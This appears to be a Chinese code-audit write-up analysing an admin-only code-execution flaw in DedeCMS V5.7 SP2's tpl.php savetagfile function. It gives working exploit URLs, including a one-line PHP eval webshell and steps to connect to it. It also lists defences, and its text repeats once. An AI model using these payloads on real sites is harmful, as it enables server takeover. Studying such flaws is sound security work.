代码审计(PHP)-代码执行漏洞-DedeCMS V5.7 UTF8 SP2
字数 1082 2025-08-15 21:33:39

DedeCMS V5.7 UTF8 SP2 代码执行漏洞分析与利用

漏洞概述

DedeCMS V5.7 UTF8 SP2版本中存在一个代码执行漏洞,位于/dede/tpl.php文件中。该漏洞允许攻击者在服务器上写入任意PHP代码,导致远程代码执行。但此漏洞需要管理员权限才能利用,属于后台漏洞。

漏洞位置

漏洞代码位于tpl.php文件的251行至281行,具体在savetagfile()函数中。

漏洞分析

关键函数分析

  1. savetagfile()函数:

    • 首先检查参数"action"是否等于"savetagfile"
    • 然后进行CSRF校验
    • 最后将内容写入指定文件
  2. csrf_check()函数:

    function csrf_check(){
        global $token;
        if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
            echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
            exit;
        }
    }
    
    • 需要提供有效的token才能绕过CSRF防护
    • token是登录令牌,存储在会话中
  3. 文件名校验:

    if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename)) {
        ShowMsg('文件名不合法,不允许进行操作!', '-1');
        exit();
    }
    
    • 使用正则表达式限制文件名必须以.lib.php结尾
    • 允许字母、数字、下划线和连字符

漏洞成因

系统对写入的文件内容没有进行严格过滤,仅对文件名进行了简单校验,且仅依赖CSRF token进行防护。如果攻击者能够获取有效的token,就可以写入任意PHP代码。

漏洞利用步骤

第一步:获取有效token

  1. 访问以下URL获取token:
    http://目标网站/dede/tpl.php?action=upload
    
    • 注意:只有action=upload时会正常回显页面,其他参数会显示token异常

第二步:构造恶意请求

  1. 构造写入PHP代码的Payload:

    http://目标网站/dede/tpl.php?filename=恶意文件名.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=获取到的token
    
    • filename: 必须以.lib.php结尾
    • content: 要写入的PHP代码
    • token: 第一步获取的有效token
  2. 示例测试Payload:

    http://127.0.0.1/dedecms5.7/dede/tpl.php?filename=test.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=获取到的token
    

第三步:验证写入结果

成功写入后,访问写入的文件:

http://目标网站/include/taglib/恶意文件名.lib.php

第四步:写入WebShell

构造一句话木马:

http://目标网站/dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST['a'])?%3E&token=获取到的token

URL解码后的content参数:

<?php @eval($_POST['a'])?>

第五步:连接WebShell

使用蚁剑等工具连接WebShell:

  • 连接地址: http://目标网站/include/taglib/shell.lib.php
  • 密码: a

漏洞限制

  1. 需要管理员权限(需要有效的管理员会话和token)
  2. 只能写入以.lib.php结尾的文件
  3. 文件会被写入到/include/taglib/目录下

防御措施

  1. 对写入内容进行严格过滤,禁止PHP代码写入
  2. 加强权限验证,不仅仅是CSRF token
  3. 限制可写入的文件目录和文件类型
  4. 及时更新到最新版本

总结

该漏洞虽然需要管理员权限,但一旦获取到管理员凭证,攻击者可以轻松写入WebShell获取服务器控制权。建议DedeCMS用户及时更新系统,并严格控制后台管理权限。

DedeCMS V5.7 UTF8 SP2 代码执行漏洞分析与利用 漏洞概述 DedeCMS V5.7 UTF8 SP2版本中存在一个代码执行漏洞,位于 /dede/tpl.php 文件中。该漏洞允许攻击者在服务器上写入任意PHP代码,导致远程代码执行。但此漏洞需要管理员权限才能利用,属于后台漏洞。 漏洞位置 漏洞代码位于 tpl.php 文件的251行至281行,具体在 savetagfile() 函数中。 漏洞分析 关键函数分析 savetagfile()函数 : 首先检查参数"action"是否等于"savetagfile" 然后进行CSRF校验 最后将内容写入指定文件 csrf_ check()函数 : 需要提供有效的token才能绕过CSRF防护 token是登录令牌,存储在会话中 文件名校验 : 使用正则表达式限制文件名必须以 .lib.php 结尾 允许字母、数字、下划线和连字符 漏洞成因 系统对写入的文件内容没有进行严格过滤,仅对文件名进行了简单校验,且仅依赖CSRF token进行防护。如果攻击者能够获取有效的token,就可以写入任意PHP代码。 漏洞利用步骤 第一步:获取有效token 访问以下URL获取token: 注意:只有 action=upload 时会正常回显页面,其他参数会显示token异常 第二步:构造恶意请求 构造写入PHP代码的Payload: filename : 必须以 .lib.php 结尾 content : 要写入的PHP代码 token : 第一步获取的有效token 示例测试Payload: 第三步:验证写入结果 成功写入后,访问写入的文件: 第四步:写入WebShell 构造一句话木马: URL解码后的content参数: 第五步:连接WebShell 使用蚁剑等工具连接WebShell: 连接地址: http://目标网站/include/taglib/shell.lib.php 密码: a 漏洞限制 需要管理员权限(需要有效的管理员会话和token) 只能写入以 .lib.php 结尾的文件 文件会被写入到 /include/taglib/ 目录下 防御措施 对写入内容进行严格过滤,禁止PHP代码写入 加强权限验证,不仅仅是CSRF token 限制可写入的文件目录和文件类型 及时更新到最新版本 总结 该漏洞虽然需要管理员权限,但一旦获取到管理员凭证,攻击者可以轻松写入WebShell获取服务器控制权。建议DedeCMS用户及时更新系统,并严格控制后台管理权限。